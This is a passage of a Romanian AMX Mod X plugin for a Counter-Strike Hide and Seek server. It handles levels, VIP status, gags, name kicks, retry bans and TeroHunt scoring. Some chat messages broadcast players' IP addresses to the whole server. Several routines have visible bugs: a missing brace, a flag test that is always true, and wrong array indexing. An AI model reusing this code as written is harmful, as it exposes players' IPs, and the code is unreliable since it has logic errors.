	if (!dir_exists(sChatLogFolder))
		mkdir(sChatLogFolder)
	//
	if (str_to_num(GAG_STATUS))
	{
		if (!FileStatus(sAdminSay))
		{
			write_file(sAdminSay, "-> ADMIN SPECIAL SAY ->", -1)
			write_file(sAdminSay, "", -1)
		}
		get_time("%d.%m.%Y", data, 31)
		format(sRegSay, 127, "%s/c_%s.log", sChatLogFolder, data)
		format(temp, 255, "- CHAT LOG - [%s] - %s -", map, data)
		write_file(sRegSay, "", -1)
		write_file(sRegSay, temp, -1)
		write_file(sRegSay, "", -1)
	}
	//
	if (str_to_num(LASTIP_STATUS))
	{
		if (FileStatus(sLastIp))
		{
			new lFile[256]
			new oFile = fopen(sLastIp, "r")
			for(new i=0;i < LASTIP_RECORD;i++)
			{
				if (!feof(oFile))
				{
					fgets(oFile, lFile, 255)
					if (strlen(lFile) >  2)
					{
						copy(LastIP[LastIPNum], 255, lFile)
						LastIPNum++
					}
				}
			}
			if (LastIPNum != 0)
			{
				parse(LastIP[LastIPNum-1], LastNume, 31)
			}
			fclose(oFile)
		}
		else
		{
			write_file(sLastIp, "", 0)
		}
	}
	//
	FileStatus(sGcLog)
	get_time("%d.%m.%Y %H:%M:%S", data, 31)
	format(temp, 127, "--- GENERATOR CUVINTE -- LOG WINNER -- [%s] -- [%s] --", data, map)
	write_file(sGcLog, temp, -1)
	
	/* Last Maps */
	if (str_to_num(LAST_MAPS_STATUS))
	{
		new xTemp[32], xCurentMap[34]
		get_mapname(xCurentMap, charsmax(xCurentMap))
		new xLastFile = fopen(sLastMaps, "rt")
		if(xLastFile) 
		{
			for(new i=0; i<5; i++)
				if(!feof(xLastFile)) 
				{
					fgets(xLastFile, xTemp, charsmax(xTemp))
					replace(xTemp, charsmax(xTemp), "^n", "")
					format(xLastMaps, charsmax(xTemp), xTemp)
				}
			fclose(xLastFile)
		}
		delete_file(sLastMaps)
		xLastFile = fopen(sLastMaps, "wt")
		if(xLastFile) 
		{
			format(xTemp, 33, "%s^n", xCurentMap)
			fputs(xLastFile, xTemp)
			for(new i=0; i<5-1; i++) 
			{
				xCurentMap = xLastMaps
				if(!xCurentMap[0])
					break
				format(xTemp, 33, "%s^n", xCurentMap)
				fputs(xLastFile, xTemp)
			}
			fclose(xLastFile)
		}
	}
	
	/* Update Top Ore/Jucatori */
	set_task(60.0, "UpdateTop", _,_,_, "b")
	UpdateTop()
	
	/* SpecInfo */
	set_task(0.1, "specKeyUpdate", _, _, _, "b")
	set_task(1.0, "specSpecUpdate", _, _, _, "b")
	register_forward(FM_PlayerPreThink, "fwdPlayerPreThink")
	
	// FIX
	new szModel[2], iEntity = get_maxplayers(), iMaxEntities = get_global_int(GL_maxEntities)
	while(++iEntity <= iMaxEntities) 
		if(is_valid_ent(iEntity) && entity_get_int(iEntity, EV_INT_rendermode) == kRenderGlow)
		{
			entity_get_string(iEntity, EV_SZ_model, szModel, 1)
			if(szModel[0] == '*')
				entity_set_int(iEntity, EV_INT_rendermode, kRenderNormal)
		}
		
	// Regex
	new error[2]
	g_IP_pattern = regex_compile(REGEX_IP_PATTERN, g_regex_return, error, sizeof(error) - 1)
	
	/* Other */
	IncarcaLocatiileRestrictionate()
	if (str_to_num(ADMINS_TO_FORUM))
		AdminsToForumUpdate()
	if (str_to_num(PING_CHECKER))
		set_task(PING_SEC_CHECK, "pingChecker", _, _, _, "b")
	
	set_task(180.0, "GenerareCuvant", TASK_GCUVINTE, _, _, "b")
	set_task(70.0, "PluginMessage", _, _, _, "b")
	gcLast = time()
	if (str_to_num(CLEAN_MOD_STATUS))
		set_task(300.0, "CleanMod", 0, _, _, "b")
}

public plugin_cfg()
{
	get_pcvar_string(get_cvar_pointer("amx_password_field"), PwFieldServer, 9)
	cvMinimPlayers 			= get_pcvar_num(get_cvar_pointer("hnsf_minim_players"))
	cvTeroHuntPoints 		= get_pcvar_num(get_cvar_pointer("hnsf_terohunt_points"))
	cvRoundPoints 			= get_pcvar_num(get_cvar_pointer("hnsf_round_points"))
	cvFragsMax 				= get_pcvar_num(get_cvar_pointer("hnsf_frags_max"))
	cvGCuvantPuncte 		= get_pcvar_num(get_cvar_pointer("hnsf_gcuvant_puncte"))
	cvInactiveDay 			= get_pcvar_num(get_cvar_pointer("hnsf_zile_inactive"))
	cvOreSlot 				= get_pcvar_num(get_cvar_pointer("hnsf_ore_slot"))
	cvMaxPing 				= get_pcvar_num(get_cvar_pointer("hnsf_ping_maxim"))
}

public plugin_precache()
{
	precache_model("models/player/HNSXX_VIP/HNS_VIP.mdl")
	precache_model("models/player/HNSXX_VIP_CT/Hns_VipCT.mdl")
	
	precache_model("models/player/HNSXX_TeroHunt/HNS_TeroHunt.mdl")
}
public fwd_spawn(id)
{
	if(is_user_alive(id) && get_user_flags(id) & ADMIN_VIP || ADMIN_VIP2 || ADMIN_VIP3 || ADMIN_VIP4 || ADMIN_VIP5)
	{
		if(get_user_team(id) == 1)
		{
			cs_reset_user_model(id)
			cs_set_user_model(id, "HNSXX_VIP")
		}
		else if(get_user_team(id) == 2)
		{
			cs_reset_user_model(id)
			cs_set_user_model(id, "HNSXX_VIP_CT")
		}
}

public PluginMessage()
{
	new RanMsg = random_num(0, 7), xP[32], xN
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		switch(RanMsg)
		{
			case 0: xColor(xP, "Tasteaza!t /lvl!n pentru a afla informatii despre levelul tau.")
			case 1: xColor(xP, "Tasteaza!t /infolevel!n pentru informatii despre levele.")
			case 2: 
			{
				if (!(get_user_flags(xP) & ADMIN_RESERVATION))
				{
					new Ore = plTime[xP][0] + get_user_time(xP, 1)
					if (Ore >= 3600 * cvOreSlot)
						xColor(xP, "Ai peste!g %d!n ore. Poti folosi comanda!t /slotme!n pentru slot pe server.", cvOreSlot)
					else
						xColor(xP, "La!g %d!n ore poti folsi comanda!t /slotme!n pentru slot pe server.", cvOreSlot)
				}
			}
			case 3:
			{
				if (!IsVip(xP))
					xColor(xP[i], "La!g %d!n ore, poti folosi comanda!g /vipme!n pentru VIP G:!g%d!n][!g%d!n zile!n].", ORE_VIP_ME, VIP_ME_GRAD, DURATA_VIP_ME)
				else
					xColor(xP[i], "Tasteaza!t /vipinfo!n pentru informatii despre VIP-ul tau.")
			}
			case 4: xColor(xP[i], "Tasteaza!t /ore!n pentru a vedea orele tale pe acest server.")
			case 5: xColor(xP[i], "Tasteaza!t /topjucatori!n sau!t /topore!n pentru topurile serverului.")
			case 6: xColor(xP[i], "Tasteaza!t /rankme!n pentru a vedea rankul tau pe acest server.")
			case 7: xColor(xP[i], "Tasteaza!t /rs!n daca ai scorul pe!g --!n.")
			default: xColor(xP[i], "Nu uita sa adaugi serverul la favorite.!t HNS.LEGENDCS.COM!n.")
		}
	}
}

/* ==========================================================================================
===================================================== Conectare Jucator
========================================================================================== */
public client_authorized(id)
{
	if (!is_user_bot(id))
	{
		new Nume[32], tempNume[32]
		get_user_name(id, Nume, 31)
		copy(tempNume, 31, Nume)
		strtoupper(tempNume)
		if (str_to_num(BLOCK_NAME))
		{
			if (strlen(Nume) < NUME_MIN_CHR)
			{
				server_cmd("kick #%d ^"Numele trebuie sa aiba minim [%d] caractere.^"", get_user_userid(id), NUME_MIN_CHR)
				return PLUGIN_HANDLED
			}
			if (strlen(Nume) > NUME_MAX_CHR)
			{
				server_cmd("kick #%d ^"Numele trebuie sa aiba maxim [%d] caractere.^"", get_user_userid(id), NUME_MAX_CHR)
				return PLUGIN_HANDLED
			}
			for (new i=0;i < sizeof(sayReclama);i++)
			{
				strtoupper(sayReclama[i])
				if (contain(tempNume, sayReclama[i]) !=-1)
				{
					server_cmd("kick #%d ^"Numele tau contine [%s]. Schimbal si revino^"", get_user_userid(id), sayReclama[i])
					return PLUGIN_HANDLED
				}
			}
			for (new i=0;i < sizeof(sayLimbaj);i++)
			{
				strtoupper(sayLimbaj[i])
				if (contain(tempNume, sayLimbaj[i]) !=-1)
				{
					server_cmd("kick #%d ^"Numele tau contine [%s]. Schimbal si revino^"", get_user_userid(id), sayLimbaj[i])
					return PLUGIN_HANDLED
				}
			}
		}
		
		VerificareUser(id)
		LastUserCheck[id] = time()
		ptPlStats[id][0] = 0
		ptPlStats[id][1] = 0
		sLastChTime[id]  = 0
		MessageMode[id]	 = false
		medicLast[id]    = 0
		medicBlock[id]   = 0
		afkOrigin[id][0] = 0
		afkOrigin[id][1] = 0
		afkOrigin[id][2] = 0
		afkTime[id] 	 = AFK_TIME
		afkStopAFK[id]	 = 0
		MaxPlayerFPS[id] = 0
		Fps_Warn[id] 	 = 0
		cl_prefs[id] 	 = 0
		pingCheck[id]	 = 0
		afkCount[id]	 = 0
		gagPlayer[id] 	 = false
		format(LastMessage[id][1], 63, "")
		
		cl_prefs[id] 	|= FL_KEYS
		cl_prefs[id] 	|= FL_LIST
		cl_prefs[id] 	|= FL_OWNKEYS
		copy(cl_names[id], 20, Nume)
		copy(plNume[id], 31, Nume)
	}
	return PLUGIN_HANDLED
}

public client_putinserver(id)
{
	if (!is_user_bot(id))
	{
		new Nume[32], tForm[256], tGrad[32], find=false, ip[32]
		get_user_name(id, Nume, 31)
		get_user_ip(id, ip, 31, 1)
		//
		if (str_to_num(RETRY_STATUS))
		{
			if (!SpecialAcces(id, Nume, false))
			{
				new sid = jointeamStatus(id, false)
				if (sid >= 0)
				{
					jointeamRetry[sid]++
					if (jointeamRetry[sid] >= RETRY_MAX)
					{
						jointeamBan(id)
					}
					else
					{
						xColor(0, "Jucatorul!g %s!n a dat retry [!g%d!n/!g%d!n]. Il voi trimite inapoi la echipa!t %s!n.", Nume, jointeamRetry[sid], RETRY_MAX, TeamName[jointeamTeam[sid]])
						set_task(5.0, "jointeamMove", id + TASK_ENTRY_JOINTEAM)
					}
				}
			}
		}
		//
		if (str_to_num(BLACKLIST_STATUS))
		{
			if (IsRestricted(ip))
			{
				KickRestricted(id)
				xColor(0, "Jucatorul!t %s!n(!t%s!n) are restrictie pe server.", Nume, ip)
			}
		}
		//
		new lvl = CalculateLevel(id), xp = CalculateStats(id)
		format(tForm, 255, "[JUCATOR]")
		for (new i=0;i < sizeof(whoGrad);i++)
		{
			if (get_user_flags(id) == read_flags(whoGrad[i]))
			{
				copy(tGrad, 31, whoDenumire[i])
				replace_all(tGrad, 31, "-", "")
				strtoupper(tGrad)
				format(tForm, 255, "[%s]", tGrad)
				find=true
				break
			}
		}
		if (!find)
		{
			if (plAcces[id] == 2)
				format(tForm, 255, "[VIP G:!g%d!n ]", plVipInfo[id][2])
		}
		if (!equal(tForm, "[JUCATOR]") || lvl > 4)
		{
			format(tForm, 255, "%s!g %s!n", tForm, Nume)
			if (lvl == 20)
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n XP)]", tForm, lvl, xp)
			else
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n/!g%s!n XP)] a intrat pe server.", tForm, lvl, xp, LevelXP[lvl+1])
			xColor(0, tForm)
		}
		if (str_to_num(CLAN_ON))
			if (contain(Nume, TAG_CLAN) != -1)
				if (!(get_user_flags(id) & ADMIN_RESERVATION))
					server_cmd("kick #%d ^"Nu ai voie cu tagul clanului HNS.LEGENDCS.COM. TAG: %s^"", get_user_userid(id), TAG_CLAN)
		set_task(10.0, "MesajIntampinare", id + TASK_PUTINSERVER)
		// Gag
		if (str_to_num(GAG_STATUS))
		{
			new dNume[32], dTimp[32], dDurata[10], dMotiv[126], cTime[4], fSay[256], slot = gagVerifica(id)
			if (slot != 0)
			{
				parse(gagDetails[slot], dNume, 31, dTimp, 31, dDurata, 9, dMotiv, 125)
				ConvertTime((str_to_num(dTimp) + (str_to_num(dDurata) * 60) - time()), cTime, false)
				format(fSay, 255, "Jucatorul!g %s!n s-a reconectat cand avea gag. Timp ramas gag:", Nume)
				if (cTime[2] > 0 || cTime[1] > 0)
					format(fSay, 255, "%s!g %d!n minut%s", fSay, cTime[2], cTime[2] == 1 ? "" : "e")
				format(fSay, 255, "%s!g %d!n secund%s", fSay, cTime[3], cTime[3] == 1 ? "a" : "e")
				xColor(0, fSay)
				set_speak(id, SPEAK_MUTED)
				gagPlayer[id] = true
			}
		}
	}
}

public client_disconnect(id)
{
	if (!is_user_bot(id))
	{
		if (str_to_num(LASTIP_STATUS))
			lastAdd(id)
		LastUserCheck[id] = time()
		new Nume[32]
		get_user_name(id, Nume, 31)
		//
		if (str_to_num(RETRY_STATUS))
		{
			if (!SpecialAcces(id, Nume, false))
			{
				new sid = jointeamStatus(id, false)
				if (sid < 0)
				{
					jointeamStatus(id, true)
				}
			}
		}
		//
		if (id == ptTeroHunt)
		{
			new tLvl = CalculateLevel(ptTeroHunt), gVip = IsVip(ptTeroHunt), gPoint = CalculatePoints(ptTeroHunt)
			xColor(0, "TeroHunt!g %s!n[!g%d!n] a fugit de pe server.", Nume, tLvl)
			plStats[id][3] = plStats[id][3] + (cvTeroHuntPoints * (str_to_num(LevelUpFaster[tLvl]) + str_to_num(VipUpFaster[gVip]) + str_to_num(PointUpFaster[gPoint])))
			ResetTeroHunt(id, false)
		}
		//
		new tForm[256], tGrad[32], find=false
		new lvl = CalculateLevel(id), xp = CalculateStats(id)
		format(tForm, 255, "[JUCATOR]")
		for (new i=0;i < sizeof(whoGrad);i++)
		{
			if (get_user_flags(id) == read_flags(whoGrad[i]))
			{
				copy(tGrad, 31, whoDenumire[i])
				replace_all(tGrad, 31, "-", "")
				strtoupper(tGrad)
				format(tForm, 255, "[%s]", tGrad)
				find=true
				break
			}
		}
		if (!find)
		{
			if (plAcces[id] == 2)
				format(tForm, 255, "[VIP G:!g%d!n] ]", plVipInfo[id][2])
		}
		if (!equal(tForm, "[JUCATOR]") || lvl > 4)
		{
			format(tForm, 255, "%s!g %s!n", tForm, Nume)
			if (lvl == 20)
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n XP)]", tForm, lvl, xp)
			else
				format(tForm, 255, "%s [LVL:!g%d!n (!g%d!n/!g%s!n XP)] s-a deconectat.", tForm, lvl, xp, LevelXP[lvl+1])
			xColor(0, tForm)
		}
		// Gag
		if (str_to_num(GAG_STATUS))
		{
			new slot = gagVerifica(id)
			if (slot != 0)
				xColor(0, "Jucatorul!g %s!n avea gag si s-a deconectat", Nume)
		}
		SalvareStatistici(id, "", get_user_time(id, 1))
		remove_task(id + TASK_ITEMS)
		remove_task(id + TASK_ROUND_ITEMS)
		remove_task(id + TASK_MESSAGE_MODE)
		remove_task(id + TASK_SLOTME_PW)
		remove_task(id + TASK_ENTRY_JOINTEAM)
		
	}
}

public ClientUserInfoChanged(id, buffer)
{
	static NumeVechi[32], NumeNou[32] 
	pev(id, pev_netname, NumeVechi, 31) 
	if(NumeVechi[0]) 
	{ 
		get_user_info(id, "name", NumeNou, 31) 
		if(!equal(NumeVechi, NumeNou)) 
		{ 
			set_user_info(id, "name", NumeVechi) 
			xColor(id, "Nu este permisa schimbarea numelui pe acest server.")
			console_print(id, "Nu este permisa schimbarea numelui pe acest server.")
			return FMRES_HANDLED 
		} 
	} 
	return FMRES_IGNORED
}

public MesajIntampinare(tid)
{
	new cTime[4], id = tid - TASK_PUTINSERVER
	if (is_user_connected(id))
	{
		new Nume[32], ip[32]
		get_user_name(id, Nume, 31)
		get_user_ip(id, ip, 31, 1)
		// Afk Ckeck
		if (get_user_team(id) == 0)
		{
			if (!SpecialAcces(id, Nume, false))
			{
				afkKick(id)
				return PLUGIN_HANDLED
			}
		}

		//
		if (plTime[id][0] < 1)
		{
			xColor(id, "Salut, bine ai venit pe serverul!g HNS.LEGENDCS.COM!n. Nu uita sa-l adaugi la favorit")
			xColor(id, "!nAcest server foloseste LevelMod creeat de catre !gfasT!n si editat de !gmikeee.")
		}
		else
		{
			ConvertTime(plTime[id][0] + get_user_time(id, 1) - sLastChTime[id], cTime, false)
			xColor(id, "Ai!g %d!n or%s si!g %d!n minut%s jucate pe server. Ultima intrare!g %s!n (!g%s!n)", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e", plLast[id], plLastIP[id])
		}
		if (plAcces[id] == 2)
		{
			SetModel(id, true)
			Schimba_Arma(id)
			ScoreAttrib(id)
			new expDay = plVipInfo[id][0] + (86400 * plVipInfo[id][1]) - time()
			if (expDay <= (86400 * ZILE_ANUNT_EXPIRARE))
			{
				ConvertTime(expDay, cTime, true)
				xColor(id, "VIP-ul tau expira in!g %d!n zi%s!g %d!n or%s!g %d!n minut%s. (!g%s!n)", cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e", plVipEnd[id])
			}
			else
			{
				xColor(id, "VIP-ul tau expira pe data (!g%s!n)", plVipEnd[id])
			}
			if (expDay < 3600)
			{
				new sTask[10]
				format(sTask, 9, "%d", expDay)
				new Float:TaskRemoveVip = floatstr(sTask)
				set_task(TaskRemoveVip, "DezactivezaVipOnline", id + TASK_REMOVE_VIP)
			}
		}
		else
		{
			ResetModel(id)
		}
		if (str_to_num(FURT_DE_IDENTITATE))
		{
			if (!CheckFraud(id, plLastIP[id]) && str_to_num(VERIFICA_JUCATOR))
			{
				client_cmd(0, "spk woop;wait;spk warning")
				xColor(0, "Furt de indentitate.!t %s!n. Last:!t %s!n - New:!t %s!n.", Nume, plLastIP[id], ip)
				xColor(0, "Statisticile lui!g %s!n nu vor fi salvate.", Nume)
			}
		}
	}
	return PLUGIN_HANDLED
}

public DezactivezaVipOnline(tid)
{
	new Nume[32], id = tid - TASK_REMOVE_VIP
	get_user_name(id, Nume, 31)

	xColor(id, "VIP-ul tau a expirat. Poti comanda iar pe!g Forum -> HNS -> Comanda VIP.")
	if (AdminStatus(Nume, true, "", 0))
	{
		xColor(id, "Adminul tau a fost reactivat. Asteapta schimbarea hartii.")
	}
	new sAcces = read_flags(SLOT_ACCES)
	remove_user_flags(id)
	set_user_flags(id, sAcces)
	admins_push(Nume, plPass[id], sAcces, read_flags("a"))
	plAcces[id] = 0
}


/* ==========================================================================================
===================================================== Rounds / Kills
========================================================================================== */
public Game_Commencing()
	FirstRound = true

public StartRound()
{
	RoundEnd = false
	if (FirstRound)
	{
		new xP[32], xN, tSend[3]
		get_players(xP, xN, "c")
		TeroLast = true
		
		if (xN < cvMinimPlayers)
			PointStatus = false
		else
			PointStatus = true

		for (new i=0;i < xN;i++)
		{
			if (PointStatus)
			{
				if (is_user_connected(xP[i]))
				{
					if ((plStats[xP[i]][0] > 1 || IsVip(xP[i])) && !(get_user_team(xP[i]) == 3))
					{
						tSend[0] = xP[i]
						tSend[1] = TIME_TO_ITEMS
						tSend[2] = 1
						CountDownTime(tSend)
					}
					new sVip = IsVip(xP[i])
					if (sVip != 0)
					{
						new Float:Speed = str_to_float(VipItemSp[sVip])
						VipSpeed(xP[i], Speed)
					}
					set_task(12.0, "RoundItems", xP[i] + TASK_ROUND_ITEMS)
				}
			}
		}
		if (!PointStatus)
		{
			new nev = cvMinimPlayers - xN
			xColor(0, "Mai este nevoie de!g %d!n jucator%s pentru!g HNS Point/VIP/Level", nev, nev == 1 ? "" : "i")
		}
		else
		{
			if (xN > 14)
				set_task(5.0, "Random_TeroHunt")
			else
				if (2 == random_num(1, 2))
					set_task(5.0, "Random_TeroHunt")
		}
	}
	else
	{
		FirstRound = true
	}
}

public EndRound()
{
	RoundEnd = true
	// GM
	if (PointStatus)
	{
		if (ptTeroHunt != 0)
		{
			if (is_user_alive(ptTeroHunt) && !is_user_bot(ptTeroHunt) && is_user_connected(ptTeroHunt))
			{
				new NumeTeroHunt[32]
				get_user_name(ptTeroHunt, NumeTeroHunt, 31)
				new tLvl = CalculateLevel(ptTeroHunt), gVip = IsVip(ptTeroHunt), gPoint = CalculatePoints(ptTeroHunt)
				xColor(0, "TeroHunt!g %s!n[LVL!g%d!n] a reusit sa scape. Va primi!g %d!n punct%s", \
				NumeTeroHunt, tLvl, cvTeroHuntPoints, cvTeroHuntPoints == 1 ? "" : "e")
				sStats(ptTeroHunt, 0, 0, (1 * (str_to_num(LevelUpFaster[tLvl]) + str_to_num(VipUpFaster[gVip]) + str_to_num(PointUpFaster[gPoint]))), 0, 0)
				aPuncte(ptTeroHunt, cvTeroHuntPoints)
				ResetTeroHunt(ptTeroHunt, true)
			}
		}
	}
		
	new xP[32], xN, pLvl, id, gVip, gPoint
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		if (is_user_bot(xP[i]) || !is_user_connected(xP[i]))
			continue
		
		id = xP[i]
		if (is_user_alive(id))
		{
			pLvl = CalculateLevel(id)
			gVip = IsVip(id)
			gPoint = CalculatePoints(id)
			cs_set_user_bpammo(id, CSW_SMOKEGRENADE, 0)
			if (get_user_team(id) == 1)
			{
				xColor(id, "[LVL!g %d!n] Ai!g %d!n punct%s. Rezista cat mai mult pentru lvl/puncte.", \
				pLvl, cvRoundPoints + ptPlStats[id][0], (cvRoundPoints + ptPlStats[id][0]) == 1 ? "" : "e")
				sStats(id, 0, 0, (1 * (str_to_num(LevelUpFaster[pLvl]) + str_to_num(VipUpFaster[gVip]) + str_to_num(PointUpFaster[gPoint]))), 0, 0)
				aPuncte(id, cvRoundPoints)
			}
			if (get_user_team(id) == 2)
			{
				xColor(id, "[LVL!g %d!n] Ai!g %d!n punct%s.!g %d!n/!g%d!n fraguri. Omoara cat mai mult pentru lvl/puncte.", \
				pLvl, ptPlStats[id][0], ptPlStats[id][0] == 1 ? "" : "e",  ptPlStats[id][1], cvFragsMax)
			}
		}
	}
}

public Kill_Death()
{
	new Killer = read_data(1)
	new Victim = read_data(2)
	new HeadShot = read_data(3)
	new Weapon[24], NumeKiller[32], NumeVictim[32], TeroHuntLvl, VipHunt, TeroHuntPoint
	read_data(4, Weapon, 23)
	get_user_name(Killer, NumeKiller, 31)
	get_user_name(Victim, NumeVictim, 31)
	new VictimLvl = CalculateLevel(Victim)
	new VipVictim = IsVip(Victim)
	new KillerLvl = CalculateLevel(Killer)
	new VipKiller = IsVip(Killer)
	new KillerPoint = CalculatePoints(Killer)
	new VictimPoint = CalculatePoints(Victim)
	if (ptTeroHunt != 0)
	{
		TeroHuntLvl = CalculateLevel(ptTeroHunt)
		VipHunt = IsVip(ptTeroHunt)
		TeroHuntPoint = CalculatePoints(ptTeroHunt)
	}
	
	if (PointStatus)
	{
		/* Kill / Suicide / OutOfMap */
		if (Killer == 0 || Killer == Victim)
		{
			/* TeroHunt */
			if (Victim == ptTeroHunt)
			{
				xColor(0, "TeroHunt!g %s!n[LVL!g %d!n] s-a sinucis. Va avea!g +%d!n sinucideri.", NumeVictim, VictimLvl, 1 * (str_to_num(LevelUpFaster[TeroHuntLvl]) + str_to_num(VipUpFaster[VipHunt]) + str_to_num(PointUpFaster[TeroHuntPoint])))
				ResetTeroHunt(Victim, true)
				sStats(Victim, 0, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[TeroHuntLvl]) + str_to_num(VipUpFaster[VipHunt]) + str_to_num(PointUpFaster[TeroHuntPoint]))))
			}
			else
			{
			/* Normal */
				sStats(Victim, 0, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))))
			}
			xColor(Victim, "Te-ai sinucis. S-au resetat punctele si ai!g +%d!n sinucideri.", 1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint])))
			rPuncte(Victim)
		}
		else
		{
		/* Is victim */
			if (Victim == ptTeroHunt)
			{
				xColor(0, "TeroHunt!g %s!n[LVL!g %d!n] a fost omorat de!g %s!n[LVL!g %d!n]. A primit!g %d!n punct%s.", \
				NumeVictim, VictimLvl, NumeKiller, KillerLvl, cvTeroHuntPoints, cvTeroHuntPoints == 1 ? "" : "e")
				
				xColor(Victim, "!g%s!n te-a omorat. Ti-am resetat punctele si ai!g +%d!n death-uri.", \
				NumeKiller, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))))
				aPuncte(Killer, cvTeroHuntPoints)
				ResetTeroHunt(Victim, true)
			}
			if (HeadShot)
			{
				new aFg = aFrag(Killer, 2)
				if (aFg)
					aPuncte(Killer, 1)
				xColor(Killer, "L-ai omorat pe!g %s!n[LVL!g %d!n]. Vei avea!g +%d!n HS-uri.!g %d!n/!g%d!n fraguri. %s", \
				NumeVictim, VictimLvl, (1 * str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint])), ptPlStats[Killer][1], cvFragsMax, aFg ? "(!g+1!n punct)" : "")
				sStats(Killer, 0, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0)
				sStats(Victim, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))), 0)
			}
			else
			{
				new aFg = aFrag(Killer, 1)
				if (aFg)
					aPuncte(Killer, 1)
				xColor(Killer, "L-ai omorat pe!g %s!n[LVL!g %d!n]. Vei avea!g +%d!n KILL-uri.!g %d!n/!g%d!n fraguri. %s", \
				NumeVictim, VictimLvl, (1 * str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint])), ptPlStats[Killer][1], cvFragsMax, aFg ? "(!g+1!n punct)" : "")
				sStats(Killer, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0, 0)
				sStats(Victim, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))), 0)
			}
			if (!RoundEnd)
			{
				GameBani(Killer, str_to_num(LevelItemMnKill[KillerLvl]), 0)
				GameHP(Killer, str_to_num(LevelItemHpKill[KillerLvl]))
				if (IsVip(Killer))
					GameHP(Killer, str_to_num(VipHpKill[VipKiller]) + str_to_num(LevelItemHpKill[KillerLvl]))
				rPuncte(Victim)
			}
			else
			{
				new ActualXP = CalculateStats(Killer)
				if (ActualXP > 0)
				{
					new const motiv[][] = { "Frag" }
					server_cmd("amx_addban ^"%s^" ^"%s^" ^"%s^"", NumeKiller, 45, motiv)
					xColor(0, "!g%s!n e!t FRAGAR!n, ii dau ban 45 de minute.", NumeKiller )
				}
			}
		}	
	}
	else
	{
		if (Killer == 0 || Killer == Victim)
		{
			sStats(Victim, 0, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))))
		}
		else
		{
			if (HeadShot)
			{
				sStats(Killer, 0, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0)
			}
			else
			{
				sStats(Killer, (1 * (str_to_num(LevelUpFaster[KillerLvl]) + str_to_num(VipUpFaster[VipKiller]) + str_to_num(PointUpFaster[KillerPoint]))), 0, 0, 0, 0)
			}
			sStats(Victim, 0, 0, 0, (1 * (str_to_num(LevelUpFaster[VictimLvl]) + str_to_num(VipUpFaster[VipVictim]) + str_to_num(PointUpFaster[VictimPoint]))), 0)
		}
	}
	/* Verificare LasT */
	if (TeroLastTime < time())
	{
		new xP[32], xN, tNum, ctNum, lastID
		get_players(xP, xN, "ac")
		for (new i=0; i < xN; i++)
		{
			if (get_user_team(xP[i]) == 1)
			{
				tNum++
				if (tNum > 1)
				{
					tNum = 0
					break
				}
				else
					lastID = xP[i]
			}
			if (get_user_team(xP[i]) == 2)
				ctNum++
		}
		
		if (tNum != 0 && ctNum > 0 && is_user_connected(tNum))
		{
			xColor(lastID, "Esti ultimul jucator ramas in viata contra!g %d!n CT. RUN!t %s!n.", ctNum, ctNum > 2 ? "ON" : "OFF")
			TeroLastTime = time() + 2
			if (TeroLast)
			{
				client_cmd(lastID, "spk ^"last man^"")
				TeroLast = false
			}
		}
	}
}

public Schimba_Arma(id) 
{
	new gVip = IsVip(id)
	if (gVip != 0)
		if (is_user_alive(id))
		{
			new Float:Speed = str_to_float(VipItemSp[gVip])
			VipSpeed(id, Speed)
		}
}

public ScoreAttrib(id) 
{
	if (IsVip(id) != 0) 
	{
		message_begin(MSG_ALL, get_user_msgid("ScoreAttrib"))
		write_byte(id)
		write_byte(4)
		message_end()
	}
}

public Random_TeroHunt()
{
	// Select
	new xP[32], xN, tNum[32], tNr
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		if (get_user_team(xP[i]) == 1 && is_user_alive(xP[i]))
		{
			tNum[tNr] = xP[i]
			tNr++
		}
	}
	// Set
	if (tNr == 0)
	{
		xColor(0, "!tEroare!n TeroHunt. Nu sunt destui teroristi in viata pentru a alege pe cineva.")
	}
	else
	{
		if (tNr == 1)
		{
			SetTeroHunt(tNum[0])
		}
		else
		{
			SetTeroHunt(tNum[random_num(0, tNr-1)])
		}
	}
	if (ptTeroHunt != 0)
	{
		new tNume[32], hLvl = CalculateLevel(ptTeroHunt)
		get_user_name(ptTeroHunt, tNume, 31)
		xColor(0, "TeroHunt!g %s!n[LVL:!g %d!n] este tinta. Rasplata!g %d!n punct%s.", tNume, hLvl, cvTeroHuntPoints, cvTeroHuntPoints == 1 ? "" : "e")
		SetModel(ptTeroHunt, false)
		GameBani(ptTeroHunt, 4, 0)
